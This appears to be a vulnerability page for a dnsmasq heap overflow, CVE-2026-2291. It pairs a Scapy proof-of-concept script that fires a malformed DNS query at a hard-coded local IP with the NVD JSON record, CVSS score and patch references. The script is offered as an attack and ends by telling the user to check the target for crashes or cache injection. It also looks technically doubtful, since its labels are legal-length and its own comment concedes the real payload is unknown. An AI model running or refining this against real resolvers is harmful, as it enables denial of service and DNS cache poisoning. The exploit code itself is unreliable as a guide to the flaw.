CVE-2026-2291

from scapy.all import * # Target IP address running vulnerable dnsmasq target_ip = "192.168.1.1" # Construct a DNS packet with a malformed domain name. # This attempts to trigger the heap buffer overflow in extract_name(). # Note: The specific payload structure depends on the exact boundary check failure. malformed_domain = "A" * 60 + "." + "B" * 60 + "." + "C" * 60 + ".example.com" # Build the DNS query packet pkt = IP(dst=target_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=malformed_domain)) # Send the packet print(f"Sending PoC packet to {target_ip}...") send(pkt) print("Packet sent. Check the target for crashes or cache injection.")

{"cve": {"id": "CVE-2026-2291", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:31.363", "lastModified": "2026-05-13T14:17:14.120", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "dnsmasqs extract_name() function can be abused to cause a heap buffer overflow, allowing an attacker to inject false DNS cache entries, which could result in DNS lookups to redirect to an attacker-controlled IP address, or to cause a DoS."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "references": [{"url": "https://github.com/NixOS/nixpkgs/pull/519082", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/pull/519093", "source": "[email protected]"}, {"url": "https://github.com/pi-hole/FTL/releases/tag/v6.6.2", "source": "[email protected]"}, {"url": "https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2026q2/018471.html", "source": "[email protected]"}, {"url": "https://thekelleys.org.uk/dnsmasq/CVE/", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/471747", "source": "[email protected]"}, {"url": "https://www.suse.com/security/cve/CVE-2026-2291.html", "source": "[email protected]"}]}}